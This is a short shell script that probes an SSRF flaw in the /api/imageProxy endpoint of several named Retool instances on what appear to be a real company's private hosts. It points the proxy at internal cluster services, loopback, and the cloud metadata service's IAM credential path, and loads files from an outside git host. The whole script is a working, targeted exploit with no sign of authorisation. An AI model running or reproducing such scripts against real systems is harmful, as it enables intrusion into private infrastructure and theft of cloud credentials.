36 lines
2.1 KiB
Bash
36 lines
2.1 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 4: CVE-2024-58394 /api/imageProxy SSRF test on the two old Retool instances.
|
|
|
|
C="curl -sk -m 12 --connect-timeout 4"
|
|
T=/tmp/rt20337d
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
ipx() {
|
|
h="$1"; u="$2"; tag="$3"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download} %{content_type}" --get --data-urlencode "url=$u" "https://$h/api/imageProxy" >"$T/s" 2>"$T/e"
|
|
echo "### $tag [$h] url=$u"
|
|
echo " -> $(cat "$T/s" 2>/dev/null)"
|
|
grep -iE '^(content-type|content-security-policy|x-retool|server|location):' "$T/h" 2>/dev/null | tr -d '\r' | head -5
|
|
head -c 260 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
echo "== IMAGEPROXY retooldata"
|
|
ipx retooldata.private.paystack.co "https://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "ctl-svg"
|
|
ipx retooldata.private.paystack.co "https://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.txt" "ctl-txt"
|
|
ipx retooldata.private.paystack.co "http://retooldata-code-executor.data-platform.svc.cluster.local/api/checkHealth" "ce-svc-health"
|
|
ipx retooldata.private.paystack.co "http://retooldata-code-executor.data-platform.svc.cluster.local:80/api/checkHealth" "ce-svc-health80"
|
|
ipx retooldata.private.paystack.co "http://10.100.80.162/api/checkHealth" "ce-ip-health"
|
|
ipx retooldata.private.paystack.co "http://127.0.0.1:3000/api/checkHealth" "lo-health"
|
|
ipx retooldata.private.paystack.co "http://169.254.169.254/latest/meta-data/" "imds-root"
|
|
ipx retooldata.private.paystack.co "http://169.254.169.254/latest/meta-data/iam/security-credentials/" "imds-iam"
|
|
ipx retooldata.private.paystack.co "http://retooldata.data-platform.svc.cluster.local:3000/api/checkHealth" "rt-svc-health"
|
|
|
|
echo "== IMAGEPROXY retool-2.117"
|
|
ipx retool.private.paystack.co "https://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "ctl-svg"
|
|
ipx retool.private.paystack.co "http://retooldata-code-executor.data-platform.svc.cluster.local/api/checkHealth" "ce-svc-health"
|
|
|
|
echo "== IMAGEPROXY retool-enterprise-3.284"
|
|
ipx retool-enterprise.private.paystack.co "https://git.kaki87.net/pstk280q87/composer-helper/raw/branch/master/rt.svg" "ctl-svg"
|
|
|
|
echo "RT4DONE"
|